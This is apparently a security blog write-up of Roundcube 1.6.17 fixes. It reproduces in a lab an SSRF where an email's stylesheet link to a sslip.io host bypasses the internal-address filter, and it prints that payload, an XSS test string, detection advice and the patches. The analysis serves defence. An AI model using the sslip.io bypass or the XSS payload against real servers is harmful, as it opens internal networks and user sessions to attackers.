You open an email. While you are reading it, your mail server is already knocking on an internal address you never handed it, because the email told it to. Not a thought experiment. I reproduced it on a lab and caught the request in a log.
Reading an email stopped being a passive act a long time ago. The client parses MIME, renders text into HTML, pulls in styles, shows attachments, turns addresses and links into clickable ones. Every one of those steps is code that runs over data a stranger sent you. And the moment one of those steps trusts that data a little more than it should, the email starts doing things you did not ask for.
In July 2026 Roundcube shipped release 1.6.17, and it is not one patch, it is a whole list. Two of the fixed bugs sit at the top of the scale: NIST rates both 10.0 out of 10, while MITRE is more cautious on the SSRF and gives it 7.2. One of them lets an email make your mail server reach into the internal network on its own. I stood up the vulnerable version on an isolated lab and walked the attack end to end, down to the log line that catches the request coming from the server itself. I will also be honest about where the public data ends and why the second 10.0 cannot be reproduced from it.
Up front: I do not run Roundcube in production, and this is not a piece about it being bad software. I work in server security, and what pulls me in here is a recurring plot. Software that renders content sent to it has an attack surface exactly where it tries to be convenient. Roundcube is a clean illustration, because the holes live in the features themselves: in style loading, in address linkification, in attachment parsing.
How an email makes the server walk the network: CVE-2026-62643 (CVSS 10.0)
I will start with the one I reproduced live.
When Roundcube shows an HTML email, it does not hand the styles over as they are. It first fetches external styles to its own server, runs them through a sanitizer, and only then passes them to the browser. The intent is reasonable: clean the CSS of dangerous constructs before it reaches the user. The problem is that it is the server that does the fetching.
Here is the piece of code that makes the decision (program/actions/mail/index.php):
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
// rewrite the stylesheet link to the internal modcss handler,
// which will fetch the URL ITSELF and return sanitized CSS
$_SESSION['modcssurls'][$tempurl] = $attrib['href'];
...
}
So an email carrying <link rel="stylesheet" href="..."> makes the server go to that address. The only thing standing between it and the internal network is the is_local_url check. The entire SSRF defense rests on that function. Let us look at how it works in 1.6.16.
public static function is_local_url($url)
{
$host = parse_url($url, \PHP_URL_HOST);
...
$host = preg_replace('/^::ffff:/i', '', $host);
if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
$host = trim($matches[1], '-.');
}
if ($address = Factory::parseAddressString($host, $options)) {
$nets = [
'0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
];
foreach ($nets as $net) {
$range = Factory::parseRangeString($net);
if ($range->contains($address)) {
return true; // local, block it
}
}
return false;
}
...
}
Direct private addresses are covered honestly: all of RFC1918, loopback, link-local including the cloud metadata range at 169.254. You cannot write href="http://127.0.0.1" or http://169.254.169.254, it gets cut off.
But look at the nip.io line. The developers knew about DNS services that resolve a name like 10.0.0.1.nip.io to the IP 10.0.0.1. Such a service lets you hide a private address behind a public name: is_local_url sees a domain, not an IP, and lets it through. So nip.io is unwrapped back into an address before the check. Fair enough.
Except nip.io is not the only one. There is sslip.io, which does exactly the same thing, and in 1.6.16 it is not in that line. Which means 172.30.0.3.sslip.io is just an external domain to the function. It does not unwrap it, parseAddressString gives no IP from a domain name, the range check never fires, and the function returns false. Not local. Go ahead.
The lab
Everything runs in an isolated network of three containers, the mailboxes are fake. The victim is Roundcube 1.6.16 (the last version before the fix), the mail server is GreenMail, and the attacker container runs a plain python -m http.server, visible inside the network as 172.30.0.3.
services:
roundcube:
image: roundcube/roundcubemail:1.6.16-apache
environment:
ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
ROUNDCUBEMAIL_SMTP_SERVER: greenmail
ports: ["127.0.0.1:8091:80"]
greenmail:
image: greenmail/standalone:latest
environment:
GREENMAIL_OPTS: "-Dgreenmail.setup.test.all -Dgreenmail.users=victim@lab.local:victimpass,attacker@lab.local:attackerpass"
attacker:
image: python:3.12-alpine
command: python -m http.server 8000
I checked the version right inside the container instead of guessing:
$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail
## Release 1.6.16
The attack
I send the victim an email with a single line in the head. The host is chosen so as to slip past is_local_url: public DNS will resolve 172.30.0.3.sslip.io back to the private 172.30.0.3, where my listener sits.
html = (
'<html><head>'
'<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
'</head><body><p>Styled newsletter.</p></body></html>'
)
I log into webmail as the victim and open the email. By default Roundcube blocks external content and shows a bar with an allow button, so this is not zero-click, it is one user click. I allow external content (in the lab I called the same command that sits behind the button). And I look at the listener log:
172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404
There it is. The request arrived, and it arrived from 172.30.0.4. That is not the victim's browser. The browser would never even see the name 172.30.0.3.sslip.io from the outside. 172.30.0.4 is the Roundcube container itself, I checked with hostname -i. So the server, on my command from the email, went to an internal address that I specified. The 404 does not matter here, what matters is that the request happened. That is SSRF: I have no access to the server's internal network, but with an email I made the server go there for me.
On a real server, instead of my empty listener there could be an internal service, a neighboring container, an admin panel with no outside access, a database on an internal port. It gets especially ugly with the cloud metadata endpoint at 169.254.169.254: one such request from the server hands over temporary keys to the entire cloud account. This version already covers it (169.254 is in the blocklist), but the class of attack is exactly about that, and any oversight in the filter reopens the road to credentials. The attacker turns the mail server into a proxy into the internal network.
How to catch it in logs
SSRF in webmail is convenient in that it leaves a distinctive trace: an outbound HTTP connection from the web server process itself to somewhere it has no business going. Not the client, not the browser, but the php-fpm or apache of your Roundcube suddenly connecting to an internal address.
The alert rule is simple: any outbound connection from the web server's UID to an address that is not on your allowlist (your SMTP, IMAP, update servers) is an incident. On the lab it was that log line with the address 172.30.0.4, that is, the IP of Roundcube itself. In production the same pattern is caught on an egress filter or in reverse-proxy logs: a service that should only receive requests suddenly starts making them.
The fix
A one-line patch. The unwrapping of DNS services now catches more than nip.io:
- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
I updated the image to 1.6.17, recreated the container, and replayed the exact same email from the same mailbox. Checked that the patch is in place:
$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
I opened the email and allowed external content. The listener log did not change after that, it still holds the single request from 1.6.16. No new hit. Now is_local_url unwraps 172.30.0.3.sslip.io into 172.30.0.3, sees it fall into 172.16.0.0/12, and returns true. The server goes nowhere. The hole is closed.
The fix also tightened an IPv6 bypass along the way: preg_replace('/^::ffff:/i', ...) became /^[0:]*:ffff:/i, so records like 0:0:0:0:0:ffff:127.0.0.1 are now caught too.
The second 10.0, which cannot be set off from public data: CVE-2026-54433
This part will be honest. For the second bug I do not have a working exploit, and I will explain why, because the analysis itself teaches more than a finished result.
CVE-2026-54433 is, by its description, a zero-click stored XSS in the rendering of plain-text emails. It sounds spectacular: even plain text, which by definition has no HTML, runs someone else's JavaScript on open. The cause is in linkification. When Roundcube shows a text email, it finds email addresses and links in it and wraps them into clickable tags. That HTML-generation step is where the bug lives.
I pull up the fix commit. It is exactly one, and it changes a single line, the regex for the query part of a mail link in rcube_string_replacer.php:
- . "(\?[$url1$url2]+)?" // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?' // after: forbid < > and whitespace
The point is clear: previously the tail of a mailto link allowed characters you could break out of markup with, and after the fix angle brackets and whitespace are forbidden there. The commit ships with a test carrying a malicious input:
a@a.co?]<img/src="x"/onerror=alert(document.domain)>
I ran that input on a live 1.6.16 through the browser and got this safe HTML back:
<a href="mailto:a@a.co?">a@a.co?</a>]<img/src="x"/onerror=alert(document.domain)>
That is, the <img> is escaped into entities, the script does not execute even on the vulnerable version. I dug into why. The link is handled not only by the regex but also by a function parse_url_brackets, which carefully strips unpaired brackets from the address, including ]. As a result the ] goes into the tail, and the <img> lands in ordinary text, which gets escaped. The test input from the commit shows the boundary of the fix, but on its own it is not a working exploit.
This is a normal situation. A public test attached to a fix rarely matches a real-world payload. The actual vector is held by the researcher who found it (in the credits it is Bohdan Kurinnoy of Samsung R&D Institute Ukraine), and it is not disclosed until the patch is widely deployed, so as not to arm attackers early. You can build a working exploit out of one diff line, but that is separate, painstaking work with the linkifier, and I will not pass a guess off as a reproduction. What can be stated firmly: the bug in the plain-text linkifier is real, its class is XSS, it is fixed by narrowing the character set. What cannot be stated: that this specific line from the advisory hacks anyone on its own.
This is not one bug, it is a whole class of problems
Look at the 1.6.17 release as a whole and it becomes clear that they were not fixing a random typo, they were going over the mail client's attack surface piece by piece.
- CVE-2026-54432, another stored XSS, but this time through an attachment's MIME type. On the attachment-validation warning page the type was inserted without escaping.
- Vulnerabilities in the password plugin via a session-injected username.
- Two more SSRF bypasses via specific local addresses, on top of the sslip.io one covered here.
- Two denial-of-service bugs in the TNEF decoder (that is the winmail.dat from Outlook): an infinite loop and a crash via a crafted size in compressed-RTF.
Different modules, different bug types, one root. The client parses and renders data from an email: text, styles, attachments, a proprietary Microsoft format. Every parser is trust in someone else's input. The richer the mail client, the more places in it where a stranger's email gets a little more power over it than you expected. Styles gave SSRF, the linkifier gave XSS, the TNEF decoder gave DoS.
If you run Roundcube, check today
- Version. 1.6.17 or newer (for the 1.7 branch that is 1.7.2). Everything listed is closed there.
- External content. Keep the external-resource blocking on by default. It is not only privacy, it is also the thing that keeps SSRF from firing without a user action.
- Network isolation. A mail frontend has no business sitting in one flat network with internal services and a cloud metadata endpoint. Limit the outbound connections of the web server itself, not only the inbound ones.
- Plugins. If you use the password-change plugin, update it, it has its own share of holes.
- Monitoring. Outbound HTTP requests from your webmail process to unexpected addresses are a signal. On the lab, SSRF shows up as a request from the IP of the server itself to somewhere it should not go.
What to take from this
One line of regex where a second DNS service was forgotten, and an email drives your server around the internal network. Another line where the character set was not narrowed enough, and a text email catches an XSS. It is not about Roundcube. It is that any software rendering content sent to you trusts that content by default, and security here is a long list of places where that trust had to be revoked by hand. Between a convenient feature and a hole there is sometimes exactly one missed case in a filter. Here they added up to a whole release.
The lab was stood up in an isolated environment, all addresses and mailboxes are fake. Material for defending your own systems.
Top comments (0)